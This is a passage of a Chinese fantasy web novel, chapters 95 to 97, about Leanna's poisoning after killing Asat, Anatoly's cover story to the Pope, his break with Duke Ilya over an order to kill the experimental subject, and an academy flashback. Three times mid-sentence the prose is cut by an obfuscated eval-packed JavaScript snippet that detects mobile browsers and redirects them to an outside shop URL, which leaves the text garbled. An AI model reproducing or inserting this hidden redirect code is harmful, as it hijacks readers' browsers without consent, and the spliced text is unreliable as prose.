随着攻击的巨响,她脑中恶心的刺探和攻击消失了,耳边安静了起来。 她能看见阿萨特身上的窟窿,看见他摇摇晃晃地倒下,听见了躯体砸在地上的声音。 “终于……结束了。” 自己的仇、母亲的仇,还有好多仇恨在此刻得以短暂宣泄。 莱安娜松了口气,闭上眼睛,释然地微笑着。 但在昏暗中觉得额头一冷,像是水滴在了上面。 莱安娜费力地睁开眼,看见了阿纳托利灰色的眼睛,他正注视着她,眼睛红得厉害,两行眼泪从他脸侧流了下来。他整个人有点狼狈又有点可怜。 这是什么眼神?为什么这么看着她? 她是想帮对方擦一擦的,但手完全抬不起来,也说不出话。 虽然精神控制已经不存在,但药物的影响并未消失,她的眼皮还是越来越重。 莱安娜的心里只剩下了一个声音: “你到底知道了多少呢?阿纳托利。” 阿萨特面对他时说的那几句话是什么?有没有透露自己的身份? 如果真的知晓了一切。 “你会怎么做呢?” 意识终于归于了平静,她把所有的烦恼都留给了清醒的人。 95. 祸乱伊始 娜塔莉娅、列昂尼德和兰斯抵达猎场屏障边缘后,立刻和魔兽展开了苦战,但战斗正在焦灼之际,那些魔兽像纷纷被抽干灵魂一般,不再攻击,倒在了地上。 娜塔莉娅猜测,莱安娜应该已经成功杀死了作为‘母虫’的阿萨特。 顺利清理掉魔兽后,他们立刻返回休息区,原本以为可以见到凯旋的莱安娜和阿纳托利二人。但回到休息区时,却听说莱安娜接受治疗的消息,娜塔莉娅几人的心立刻沉了下去。 走进临时的休息屋,阿纳托利正靠在墙边,有些恍惚地,他的眼眶很红。 娜塔莉娅没有立刻靠近阿纳托利,踌躇一会儿后,她才鼓起勇气问: “她怎么样了?” “失去了意识,马克西姆在给她治疗。”阿纳托利的语气是一种接近绝望的麻木。 “伤口怎么样?严……严重吗?”愧疚让她这话问得实在没有底气。 哈克这个青少年不加思考地接受莱安娜的建议情有可原,但她自己呢? 她为什么也同意了这个冒险的建议? 自己并非不清楚独自面对阿萨特是有风险的,而且在卡梅里亚休息室内,莱安娜已经有些身体不适。 但当莱安娜提出独自应付阿萨特时,她没有提出异议,为什么? “她怎么可能输呢?” 过分的信任会转变成依赖,她把莱安娜看得过于强大,很多事移交给对方时也心安理得起来。 但同伴不该是这样的,不该让一个人承受所有事。 此时,她只期待阿纳托利能告诉她,不是致命伤、情况已经稳定之类的话。 但阿纳托利只是茫然地摇了摇头,娜塔莉娅能看出他握着的手都在发抖。 “我不知道。” 他声音沙哑,大家能听出他语气中压抑着的情绪。 在整个房间陷入死寂时,马克西姆和贝拉主教打开了门,两人拖着疲惫的步子艰难地走了出来。 没等二人喘口气,一堆人已经围了过来,像是恨不得立刻把他俩吃了一般。 “她的伤口不深,没有生命危险。但中了特殊的毒素,虽然注射了解毒剂,但还需要一些时间。” 听到没有生命危险,娜塔莉娅和列昂尼德等人的神色已然放松了很多,阿纳托利却仍然神色凝重: “她什么时候可以清醒过来,那个毒会对她有什么影响吗?” “清醒应该用不了太长时间,她精神力和求生欲都很强。至于那个毒会不会有后遗症,还需要进一步观察。” 阿纳托利的神色仍未松动,只是有些恍惚地说: “我想去看看她。” 但还没说完,兰斯就匆忙地闯了进来。 “抱歉,我知道司长您现在很担忧夫人,但教皇陛下的神使刚来,教皇陛下需要询问您一些事。 原本有些混乱的思绪瞬间因为警觉变得清明。 “阿萨特死于莱安娜之手,我虽然紧急帮她处理了阿萨特的尸体,但万一被神使团看出端倪呢?” 阿萨特身上有高强度魔法造成的致命伤,如果伤口被认定是魔法师造成的,教皇一定会怀疑莱安娜。 给教皇的汇报就格外重要,阿纳托利立刻打起十二分精神,思索起给莱安娜遮掩的办法来。 离开前他瞥了一眼治疗室,马克西姆出来的时候没有关门,透过空隙可以看到莱安娜安静地躺在木板床上,不知道何时可以醒来。 阿纳托利叹了口气,独自去面对最为棘手的对手。 但事情没有阿纳托利预想的那样麻烦。 等他到临时议事的房间时,卡梅里亚已经到了一会儿了。 魔法师制造计划启动之初就把大贵族们排除在外,其目的之一就是壮大教会的力量,从而规制地方领主的武装。 现在计划破产,险些吃了暗亏的卡梅里亚抓住时机和维斯特利亚针锋相对,迫切地想试探出计划的其他情报,或者抓到对方在这件事上的错处。 维斯特利亚虽然疲于应付,但仍是滴水不漏,所有的罪孽都推到了死去的阿萨特身上。 执行者成为了背负罪责的第一责任人,这样的处理结果说明教会确实要终结这个计划。 在卡梅里亚不满地离去后,教皇才仔细地询问起阿纳托利处理事件的经过。当然,重点放在了阿萨特之死上。 比如阿萨特身上的致命伤口是如何造成的? 为什么没有魔力的阿琳娜会前往森林和阿纳托利一起行动? 阿纳托利声称阿琳娜是因为担心自己才前往森林,她随身装备了北地的储能式魔导器,没想到偶然撞见了阿萨特,靠着魔导器抵抗了一阵,还好自己赶到,和她配合击杀了阿萨特主教。 解释了这些之后,他十分诚恳地注视着维斯特利亚。 “我知道罪责深重,主教无论犯下什么罪行,都应该接受了您的裁决后再行处置。请陛下恕罪,当时情况危急,如果不击杀阿萨特,无法停止兽群,这才不得已对阿萨特主教刀剑相向,至于我的妻子,她只是意外闯入危险之地的可怜人,只是想自保,现在她还因为阿萨特的攻击而昏迷不醒……” 说着竟有一些哽咽,刚恢复正常的眼睛又红了起来。 维斯特利亚笑着宽慰了他,让阿纳托利不必担忧,阿萨特罪大恶极,阿纳托利和阿琳娜出手阻止他非但无过还有功劳。 在向阿纳托利索要了这种储能式魔导器的机械后,她没再怀疑了,给阿纳托利交代了后续的工作后,便示意阿纳托利退下。 离开房间时,阿纳托利回头看了维斯特利亚一眼。 苍老的面容上满是麻木和疲惫,她像这个魔法师国度的心脏,执拗地维持着帝国的运行,但谁也不知道她什么时候倒下,心脏什么时候停止跳动。 他突然想起莱安娜说的话,维斯特利亚最大的弱点是时间。 “在垂垂老矣之际,看着身边过去的友人或死去、或背叛。值得信任和值得托付的人越来越少,连继承人都无法决定,还要收拾经年累月的烂摊子,也难怪她这次会忽略诸多细节,我才轻松地遮掩了过去,还好他们没有看出阿萨特致命伤的端倪,没有发现莱安娜的身份。” 想到莱安娜,他立刻加快了离开的步伐。治疗的地方距离议事的房间明明不算远,十分钟左右的路程却是如此漫长。 应付教皇的时间不算短,足足两个钟头,等他赶回去的时候太阳已经快要落山,但莱安娜没有苏醒的征兆。 马克西姆安慰他,毒素造成的影响不是那么容易消失的,毕竟阿纳托利自己也曾有过昏睡一周的经历。 但直到他们回到宅邸后的第二天,莱安娜仍在昏迷。阿纳托利放心不下,处理完其他事之后就在房间里等待着。悬而未决的事让人抓心挠肝,只有待在对方身边,看见她仍在呼吸,才可以稍微放心一些。 “你到底什么时候醒过来?” 他低声地抱怨,相当不满地盯着对方。 “我们的计划怎么办?我再怎么努力,也不可能让一个没有意识的人成为教皇的。” 对方自然不会回应他的问题。 “原来看见在意的人卧病在床是这种感觉……还好你当年没有答应和我去北地呢,莱安娜。” 他坐在了床边,苦笑了起来。 “那时候我可狼狈了,受伤中毒简直家常便饭,你要是看到会不好受的吧,不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315944|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他想到了什么,苦笑都维持不住了,眼里只剩下惘然。 “你对我只是有好感而已。我还真是想象力过剩。”他瞧着床上沉睡的病人,心里竟然有几分酸涩的不公。 “算了,不管这么多了,只要你能醒来。” 他笑着握住对方的手。 自从着手案件开始,他们空闲的时间就少得可怜,就当这是彼此的一个假期吧。但这段难得的空闲时间也被人打断。 列昂尼德把门推开了,明亮的光冲进昏暗的房间,一时有些刺眼。阿纳托利知道是有紧急的事,否则列昂尼德不会这时候来打扰。 “怎么了?”他放下了莱安娜的手。 “有一封泰西防线寄来的密函。” 列昂尼德将信件递给他后退了出去。 阿纳托利觉得有些奇怪,新年的时候海姆才寄过一封信,按理不会如此频繁地给他传达信息。 没想到拆开信件后,写信的人并非海姆,而是叶夫根尼。 随着目光下移,捏着信纸的手指因为用力而发白,银灰色的眼瞳仿佛都在颤动。 信并不长,但他足足看了快半个钟头,消化着海量的信息。 “流民背叛,袭击外出的队员,劫持海姆等人索要物资,交换物资时发起攻击,海姆、叶夫根尼负伤、奥菲莉亚、亚瑟、罗杰下落不明。叶夫根尼认为泰西防线外的流民应当被归于叛军,已经向伊莉雅申请了清剿计划……” 那两张信纸被捏成了一团丢在了桌上。 他撑着额头,只觉得怒火中烧。 真是欺人太甚! 流民和他们相安无事许久,甚至会在他们外出清剿时提供帮助,怎么会突然背叛? 泰西防线一直暗中进行了物资援助,他们没必要劫持人员换取物资。 而且出事的人也太巧妙了,正好是那两个神官还有海姆、奥菲莉亚。 而且最让阿纳托利感到心寒的,是伊莉雅答应了叶夫根尼接管指挥权,清理流民。她答应过自己不干涉泰西防线,终究是食言了。 思绪繁杂,他一转头就看到了莱安娜苍白的脸,更加焦虑了。 自己要怎么给莱安娜交代? 他信誓旦旦地保证泰西防线绝对安全,结果不到两个月,孩子就出事了。 阿纳托利觉得心急如焚,必须派人回去调查,一方面搞清楚来龙去脉,另一方面找到失踪的人。自己和伊莉雅联络时尝试阻止她清剿流民。之后还要查下叶夫根尼,这人绝对有问题。 就在他思考如何与伊莉雅交涉时,仿佛冥冥之中自有安排,列昂尼德又一次敲响了房间门。 “长官,伊莉雅公爵的通讯,请您立即去投影室。” 门打开后,朝室内投入一束光。室内是昏暗的,阿纳托利迎着光,那双灰色的眼睛仿佛散发着寒气。 虽然只有一瞬间,但列昂尼德确定自己没有看错,那是愤怒的眼神。 他非常惊讶,自己这位长官情绪相当稳定,无论是离谱的工作,或者对他和莱安娜独处的打扰。最多也是皱皱眉,眼底映出两分不耐烦来。 但如此浓烈的愤怒,到底发生了什么? “长官您……” 但还没等他问出口,阿纳托利便已经起身了。 “我这就去。” 他语气平静地结束了这个话题,走之前拍了拍列昂尼德肩膀,示意他不用担心,列昂尼德把问题咽了下去,默契的队友真是如此,一个眼神一个动作,就能洞察彼此内心。 列昂尼德明白阿纳托利此时不想告诉他答案。 “但到底怎么了?”列昂尼德心中疑云密布,却没有一点线索。 96. 最后一根稻草 阿纳托利曾预想过自己要以何种心态去面对伊莉雅。 自己这位妹妹曾在八年前,和自己性命互托,二人共同搏杀出一线生机。 他们一起谋划了针对前公爵彼得的政变、一起阻止了大后撤行动、一起让北地重归安定,伊莉雅成为了新的公爵,自己成为了北地抗击魔兽的英雄…… 但在这之后呢? 伊莉雅放手让他掌管了北地骑士团,拥有了与领主看似无差的管理权限。 他们看似密不可分,但二人之间仍有一道裂缝,仿佛微不可察,一旦正视才惊觉那是一道难以跨越的鸿沟——伊莉雅没有按照惯例给予阿纳托利封地和爵位。 他当了二十多年的受人摆布的棋子,夹在南北中间无处可去,现在他迫切地追求一片自己的立足之地,一个绝对安全的栖身之所。 在无数次浴血奋战中,他憧憬着愿望的实现。但没过几年,一次又一次没有实际利益的表彰让他如梦初醒。 伊莉雅对他很好,前提是阿纳托利是她权力延伸的代言人,是她利益绑定的同盟。一旦阿纳托利有了领地和爵位,那意味着他不再是同伴而是需要忌惮的对手。 伊莉雅可以给他很多东西:信任、权限、荣誉、财富。但唯独阿纳托利真正渴求的东西,她不会给,也不能给。 无数次付出、经年累月的试探、失望和感激总是反复重叠直至麻木,直到他收到了那封当人质的信件。 麻木的心从那刻惊觉,自己的退让妥协换来的是什么呢?自己为了所谓的大局、为了同伴们安稳的生活、为了魔兽潮前线稳固选择了忍气吞声,这些换来了什么? 伊莉雅答应了维斯特利亚的要求。她难道不知道他过去九死一生才逃回北方?他花了多努力才摆脱了夹缝中的处境?而伊莉雅为了她的大局反手把他推了回去? 而后他便打算暗中参与到教皇继承中去,在大局之下伊莉雅定然会牺牲自己,他需要寻找出路。 但哪怕是那时候,他也没有彻底和伊莉雅决裂。 但现在伊莉雅竟然主动出手干涉泰西防线的事务,违背了二人的承诺,连他最珍视的立足之地都要染指。 自己的心腹在防线相继出事,斯捷潘被逼走、海姆受伤、两位神官和奥菲莉亚失踪、派遣叶夫根尼对防线外的流民进行屠杀。 欣赏、信任在数次不公的利益分配中被消磨殆尽,失望、麻木在抛弃中滋长、而现在防线的事变更是让他们的关系岌岌可危。 “她此时联系我应当是为了防线的事情。她必须给我一个合理的解释。” 他握紧了门把手,脑子里却浮现出了很多影子,南下前的牢狱中,她毅然决然将逃走的钥匙交给他;北地领主建议剥夺他养子身份以绝后患时,她力排众议,并将他任命为了骑士团团长。阴谋是真的、利用是真的、但患难中的扶持也是真的。 窗外仍下着雨,打在玻璃上的声响在此刻格外清晰,在淅淅沥沥中,他的思绪仿佛也浸泡在了水中,糊成一片,摇摆又痛苦。 他拉开门,投影中的人在闭目养神,直到听见推门的声音才昂起下巴,睁开眼睛。 “你不该让我等这么久。” “我也有累的时候。”他这次丝毫不掩饰语气中的不满。 伊莉雅惊讶地睁大了眼睛,浓密的睫毛像是蝴蝶的翅膀,接连扑闪了好几下,似乎瞧见了很新鲜的事。 “我第一次听你这样说,你过去从未抱怨过,八年来一次都没有。”她笑着摇起了头。 “看来圣都的日子比我想象中还要艰难,真是辛苦你了,哥哥。” 阿纳托利神色没有太大的变化,只是在语气上收敛了不满。 “我今天联络你,是因为你的任务需要变更。”她说到此处神色认真了不少。但尚未说完,阿纳托利便打断了她: “你联络我不是为了防线的变故?” “哦,叶夫根尼的信看来比我想象中到的还要快,既然你已经收到信,想必已经了解了事件情况,海姆此时身受重伤无力担任代理团长一职,我让叶夫根尼暂代有何不可。” “流民怎会突然袭击骑士,此事定有蹊跷,您不该直接同意对流民进行清剿,而且怎么会这么巧,海姆和那两位神官还有那孩子同时遭遇意外?” “流民作乱板上钉钉,叶夫根尼在冲突中还受伤了,而且并非他一人所见,还有其他骑士目睹了乱局,清剿流民这事不容商量,我已经和其他几位领主达成了合意。至于那几个失踪的人,叶夫根尼已经派人在搜索了,你不必操心。” 伊莉雅让他不必操心,但泰西防线的事情不能就这么算了,叶夫根尼绝对不可信,他得派人回去调查前因后果,确认海姆的情况,寻找失踪的小家伙们。 “海姆的情况如何?之后泰西防线所有事我要和海姆对接。” “哥哥,叶夫根尼现在才是代理团长。” “我要和海姆对接,这件事没有余地。” 阿纳托利这话的意图十分直白,但伊莉雅却和他装起傻来 “海姆受伤意识尚未恢复,叶夫根尼更适合担任防线的团长。” “我不是在争论团长的任职,我要确保海姆活着!你明白了吗?还有那几个孩子,必须找到!” 这算是把矛盾挑到了明面上,他希望伊莉雅可以解释一二,但对方只是答应了他的要求后继续说: “哥哥你不用担心,叶夫根尼告诉我,海姆受的不是致命伤,很快能恢复意识,至于其他几个失踪的小孩也在找,会有结果的。” 面对伊莉雅避重就轻的解释,阿纳托利只觉得窒息,窗外磅礴的大雨仿佛敲在了他的心脏上,关于泰西防线的真相他只能靠自己了。 “泰西防线的事我知道了,你刚才说我的任务需要变更是什么意思?” "是关于魔法师制造计划。" 伊莉雅话音刚落,窗外炸开一道惊雷,撕裂了在雨水中浸泡模糊的黑夜。 “魔法师制造计划相关的任务需要更改,其他维持最初的决定。” 听到那个计划,阿纳托利顿时警觉,但他尽可能让自己的语气仍是平静的。 “为何需要修改?修改的具体内容?” “维斯特利亚告诉我,猎场的乱子和魔法师制造计划有关,这个计划已经完全失控了,必须停下。” 说到这里,她的脸上却带上了十分轻蔑的笑。“这是个机会,我们和南方不同,我们的计划还没有失败。如果能先于南方掌握稳定的办法,北地从此不受制于任何人,所以我们要继续,我需要你继续帮我查明文森特死亡的真相,找到永恒结晶。” 有团火在阿纳托利的心中烧了起来。 伊莉雅不可能不清楚这个计划会有哪些牺牲,难道为了所谓的大局就可以心安理得地牺牲他人? 他又想到了泰西防线外无家可归的流民,领主的盘剥甚至比魔兽更危险,他们逃到防线之外,永远地离开了故乡。但伊莉雅是怎么做的。为了所谓的大局稳定,她牺牲起自己的人民连眼睛都不会眨一下。 他无法认同,但无辜的牺牲显然不能打动这位独裁者,只能从风险角度开口: “我建议您放弃这个计划,维斯特利亚投入良多却在此时放弃,这个计划一定有相当可怕的隐患。” “不用担心,我和维斯特利亚沟通过了,我知道她在忌惮什么,但北地没有那种顾虑,你执行即可。” 阿纳托利握紧了手,窗外的雨潮湿而窒息,光是听着声音就仿佛被青苔堵住了口鼻,让人喘不过气。 压着心中的不满,他竭力思考着要如何继续劝说时,对方突然打断了他的思绪。 “嗯,还有件东西要给你看。” 她说着调取了影像,一份严谨全面的任命书呈现在了阿纳托利面前,他因为吃惊眉毛上扬起来。 “领主任命书?” “我答应过你,这次任务结束后,会给你爵位和领土的。这些年各方盘根错节,我实在疲于应对,你的身份敏感,所以拖延至今,但是现在有所好转了。我已经把任命书送到了泰西防线,一切都万事俱备,只等你回到北地,阿纳托利侯爵。” 她笑意盈盈。 阿纳托利有些恍惚,伊莉雅这是做什么?为什么现在来满足他过去的愿望? 自己最需要的时候她从未给予,现在自己到了南方,前途生死未卜,她却在这时候给自己许诺,她要干什么?为了安抚泰西防线事变导致的不满? 在他因思索陷入短暂失神时,伊莉雅似乎将他的恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319852|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚解读成了满意的狂喜,认为自己给出的嘉奖打动了他的内心,便颇有底气地继续开口: “在你回到北地前,我还需要你帮我做另一件事。” 语气非常自然,像是不经意地提起。阿纳托利瞬间就明白了过来。所求多年的奖励突然放置到眼前,不过是一张支票,除了因防线动荡一事安抚他外,还要趁机追加兑奖的条件。 “什么事?” “维斯特利亚和我交流过了,南方当年其实有过一次成功的实验,有一个改造成功的魔法师,但那个实验体下落不明,维斯特利亚正在尽力搜寻,我需要你留意下这件事,如果可以的话,找到祂。” 明明是悦耳的声音,但夹杂着窗外的滚滚雷声,刺得阿纳托利觉得耳膜生疼。 “您要做什么?你们要在她身上继续做实验吗?”他抬头盯着眼前的投影,伊莉雅似乎正沉浸在自己的布置当中,丝毫没有注意到阿纳托利十分异常的情绪。 “当然不是,实验数据早就有了。我们找她是为了提前削弱南方优势。 “你想控制她?” “不,当然不止如此。祂是南方唯一成功的案例,而现在负责计划的执行人阿萨特已经死亡,虽然他们声称会停止研究,但是谁知道呢?万一哪天又重启实验该怎么办?我们要是想彻底断了南方的优势,就必须断掉他们重新实验的可能。” 阿纳托利把头低了下去,没有盯着她,伊莉雅以为对方没有理解她的意图。 她提高了音量,十分平和地开口了: “我要你找到那个实验体,然后杀了她。” 悦耳的声音夹杂着雷声,冲进了阿纳托利的耳朵,他猛然抬头盯着对方。 惊雷裹挟着闪电将昏暗的室内一瞬间照得透亮,白光落在伊莉雅的脸上,她正带着期待的笑,熠熠生辉的红色眼瞳不像玫瑰,此刻倒是像裹满鲜血的两颗石头,鲜红欲滴。 “我需要你去……”尚未说完,她的声音就伴随着清脆的破碎声戛然而止。 原本放置在阿纳托利面前供能魔晶已经被风刃绞成了碎片,但他似乎仍嫌弃不够,盯着那个投影装置。 “砰!” 室内传来的响动惊觉了楼上的列昂尼德。他还以为出了什么大事,杀进房间就瞧见了散落一地的装置,和身处碎片中面无表情的阿纳托利。 “怎么了?” “设备故障,通讯暂停,我改日再联络伊莉雅。” 列昂尼德皱着眉,目光游离在一地碎片和阿纳托利那双快结霜的眼睛之间,傻子都看得出来不对劲。 列昂尼德走过去拍了拍阿纳托利的肩膀: “有什么我们能帮忙的吗?” 阿纳托利双手搭在膝盖上,沉默了很久,那双眼睛像是忽明忽暗的灯。 “列昂尼德,我不想再执行伊莉雅的任务了,但你们……” 他话噎在了此处,原本的愤怒已经退去,理智让他不得不考虑更多的事。 他如果要和伊莉雅背道而驰,他的同伴又该如何自处? “这样啊。”列昂尼德恍然大悟。 不是要放弃某一次任务,他的长官下定决心要脱离伊莉雅的阵营了。 “我理解您的意思了。”列昂尼德点了点头,“我代表不了其他人,但就我个人来说,一直以来我是在为您工作,而非伊莉雅公爵。过去如此,现在也是如此,未来还会如此。” “列昂尼德……” “我猜其他人也是如此,不然我们为什么要跟你南下?” 列昂尼德笑着朝他眨了眨眼睛。 “去做你想做的事情。” “你不担心自己在这个过程中陷入危险吗?” “如果有危险,你会冲在我们前面,反正你死得比我们快。”列昂尼德无奈地笑了。“你不是那种为了自己目的将别人当棋子的人,如果你是那种聪明人,就不会是今天惨兮兮的模样。” 他半开玩笑地挖苦了几句。 阿纳托利抬起头,灰色的眼里闪动着光,感动的话语似乎即将脱口而出,但被列昂尼德及时打断。 “诶,别说肉麻的话,无论您想干什么,必须以养活我们为目标,工资不能少,我还有女儿要养。” “好。” 97. 物非人是 阿萨特在死前安排了如此一出乱局,把魔法师制造计划搅和到了明面上,他的死亡和潮落一般,许多隐藏在水面之下的东西,随着他的死全浮了出来。 卡梅里亚为首的贵族这两天抓着这事,最近两天和教会针锋相对,而亨利浑水摸鱼的意图也愈发强烈,维斯特利亚费劲心力维持的局面终于有了一丝裂缝。 但莱安娜头一次可以不必为这些烂泥般的事情殚精竭虑。阿萨特的共感控制、认知干扰似乎让她的精神负荷过重,毒素已经代谢干净后她仍未醒来。 她没有失去意识,处于一种半梦半醒的状态,耳边会传来模糊的声音,甚至有被人握住手的感觉,但她睁不开眼睛,每次她想尝试回应那个模糊的声音,就会下意识地感觉恐惧,像是背后一空,立刻就会坠下去。 她害怕醒来,醒来就要面对一切了,阿纳托利如果知道了自己就是那个实验体,他会怎么做? 维斯特利亚肯定会和参与了实验的北地沟通,得知内情的伊莉雅应该也会阻止这个实验,阿萨特已经死了,那下一步就是清除自己这个产品了吧。 阿纳托利要怎么办? 哪怕对伊莉雅早有不满,但眼下他会违抗伊莉雅吗? 她不想去面对这个问题,而浓重的黑暗和恐惧像趁着她精神的松懈拽着她的脚踝,不让她离开,把她拖向一段段回忆。 当一些温暖得让人快要落泪的画面再次出现在眼前时,她突然有些庆幸,要是醒不来似乎也不是什么坏事。 似乎又看见了学院里的蔷薇。记得那是十四岁入学那年,阿德萨斯塔外的蔷薇就像火一样,开得无比热烈,一团团红色烧向天空,她常待在顶端的书库眺望远方、俯视花海。 “但那已经是多年前的事情了,阿德萨斯塔别说是蔷薇,在维斯特利亚主导的改建下连砖头都不剩一块。” 她还记得和另外几位主教一起站在那断壁残垣的废墟面前的心情。 建筑被抹消只在一瞬间,但记忆褪色却要很久。 “都说物是人非,但现在连物都不存在了。” 她转念一想。 “不能这么说” 建筑被摧毁,她也变了,但阿纳托利仍然和记忆中一样,自己是什么时候认识阿纳托利的? 似乎那并不是一段愉快的记忆。 …… “莱安娜,莱安娜……慢点走。” “萝丝,我们得快点,测试很快就开始了,菲勒老师不喜欢迟到的人。” 莱安娜催促着自己慢性子的朋友快速前进,她们经过魔塔,前往考试结界区。 她拉着萝丝的手小跑着,魔塔外的蔷薇开得灿烂,但那时候的她来不及抬头看一眼。 拜萝丝这个拖拉的大小姐所赐,来到考场的时候测试已经快开始了,菲勒老师斜着眼睛睨了她俩一眼,挥手打开了结界。 她对上了老师的眼神,快速埋头下去,绷着脸色,硬着头皮进了考场。 “呼,吓死我了,菲勒老师好恐怖,不过还好这次测试内容是击杀固定中低阶魔兽,不用和老师对战,他没有挂我们的权限。” 萝丝说罢仿佛松了口气,笑了起来。 “对,问题不大,但我们下次应该早点,不然理论课有我们受的……” 仿佛看到什么,她突然顿了一下。 “12号结界考试,我们没走错吧,萝丝?” “没有啊,你都看到菲勒老师的臭脸了,怎么可能搞错。” “但为什么这里会有魔导师?” 她压低声音,并朝萝丝转头示意,她的前方五六米左右站了一个持剑的魔导师。 随后她环视四周,发现了其他散落在人群中的魔导师。 “魔法师和魔导师实践混合考核?这可是头一次。” “魔导师先天有缺失,需要借助武器才能完美地释放魔力,平日里只会一起上理论课,测试和实战从不会在一起。没想到魔导器更新后,竟然一起考核了,看来魔导师和魔法师平起平坐的时代真的有可能来临。” 她拉着萝丝的手轻声说。 很快菲勒老师公布了最新的考试规则:第一轮测试是个人击杀魔兽,魔兽点数计入个人成绩,并在第二轮组队测试中计入小组基础成绩。 小组组队2-4人,必须包含魔导师、魔法师,如果没有组队,只能单独参加竞争。第三轮测试由组内成员两两对决,根据对决表现给分,没有组队的会和我对决。三次分数各占最终个人成绩的三分之一。 这个规则很棘手,和越强的人组队,在第一二轮比赛中可以蹭到更多的点数,但是第三轮测试中队友变对手,实力太强压着打肯定对分数影响很大。 综合下来,大家会更倾向于和实力优秀但不会过分离谱的人合作,这就会使得很多实力超群的人没有队友,很可能在第二轮被围攻。 “啧,萝丝,你不会要抛弃我吧?” 莱安娜看向萝丝,对方戳着手指,有些不好意思。 “我也不想,我很想和你还有杰西卡继续组队,但你能不能再找个人来我们队伍,让他来和你对战?” “我试一试,如果找不到呢?” 莱安娜并不觉得这节骨眼上能马上找到新队友。 “那我和杰西卡就只有抛弃你了,抱歉莱安娜,我们需要第三次测试的高分。” 萝丝微笑道。 “太绝情了吧?” “没那么糟糕啦,这次只要在第三场比赛前组队成功,都可以认定的。而且我相信,哪怕找不到合适的队友你也可以从围攻里杀出来的!加油!” 萝丝朝她竖起大拇指,莱安娜的白眼都快翻到天上去了。 距离正式开始还有十分钟,大家都和彼此熟悉的人聚集在一起说说话,无非是如果出现了意外情况请求搭把手之类的。 但是在一簇簇人群中却有一个落单的人,他带了一把长剑,是一位魔导师,在魔导师熙熙攘攘的抱团人群中显得格外扎眼。 “那个人是谁,魔导师也会没有同伴?” 莱安娜注意到了孤单的身影,歪头看着萝丝,她觉得有些奇怪,毕竟魔导师很少存在实力超格的情况。 朝他好奇地走近了一些,那是一个有着高挑的背影的灰发青年。 正在她打量这个背影时,对方敏锐地察觉到了目光,突然回头。 莱安娜对上了这双陌生的灰色眼睛,下意识呼吸一滞,随后无事发生地移开目光,转过身去,心里暗道倒霉。 “所以你对那个人没有印象吗?莱安娜?” 萝丝非常玩味地看着自己,而莱安娜暂时没有明白这位八卦小能手的深意。 刚才那人的目光已经落在她的后颈上,让她有些尴尬,如芒在背。 “不清楚,我没有印象。” 她摇了摇头,压低声音回答。 萝丝刚想要说什么,却被不速之客打断。 “你们的信息还真是闭塞。” 两人转头,发现来插话的人是同窗威克姆,防御型魔法师。 “他是彼得公爵的儿子,名叫阿纳托利,虽然实力不错,但性格恶劣,傲慢又残忍。无知的女士们,他可不是没有同伴,是他看不上大家罢了。” 威克姆没有压低声音,他带着笑不忘在话毕用余光扫了一眼阿纳托利。 他的话仿佛是一把打开话匣子的钥匙,有了这个开头的,其他魔法师纷纷讨论起来。 “等一下,上个月那次自由对决就是他发起的对吧?挑战中阶攻击型魔法师林克?” “是他,我在现场,林克输了。不过这人对林克下手真狠啊,脸都打肿了,最后还是裁判介入。” “天呐?为什么打这么狠?” “据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331393|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了给他的一个私生子朋友讨回公道。还有说法是作为公爵继承人的他看不起低等贵族,要给林克一个下马威。不管怎么说,他确实赢了。” “侥幸罢了,一个魔导师而已,哪怕没有魔力阈值的缺陷也是必须依靠魔导器的残次品。” “残次品?真的吗?我可是听说这人和瑞恩家有合作。” “干嘛说得这么好听?不过是为瑞恩家马首是瞻的跟班,我可是在宴会上亲眼见到他对卡梅里亚侯爵百般讨好。” “不是说他傲慢吗?那公爵家怎么会给侯爵低头?” “谁不知道北地公爵都快只剩个名头了,瑞恩家族把控魔法界、议会,拥有富可敌国的财富,那才是帝国举足轻重的家族。他还给林恩摆贵族派头呢?自己不过也是欺软怕硬、看见好处就扑上去的人……” 在人群并不小的讨论声中,莱安娜瞥了一眼阿纳托利,他这时候已经转开了目光,左手搭在剑柄上,漫不经心地看着结界深处,仿佛没有听见这些闲言碎语。 在莱安娜观察他时,视线里突然闯入了一个人。 赛前准备三心二意,可不是什么好习惯,莱安娜。” 那位同学笑着朝她挥了挥手。 “你刚关注的那位同学实力还行,你如果和他合作也不错呢。” 莱安娜觉得他异常熟悉,但自己对这张面孔又没有印象,直到他走近了一些,短暂地解开了一下面容魔法,莱安娜才认出来。 “不劳你费心,维克多。” 莱安娜神色冷了下去,没好气地问道:“你不是被派往神殿参加研究吗,来这里做什么?” 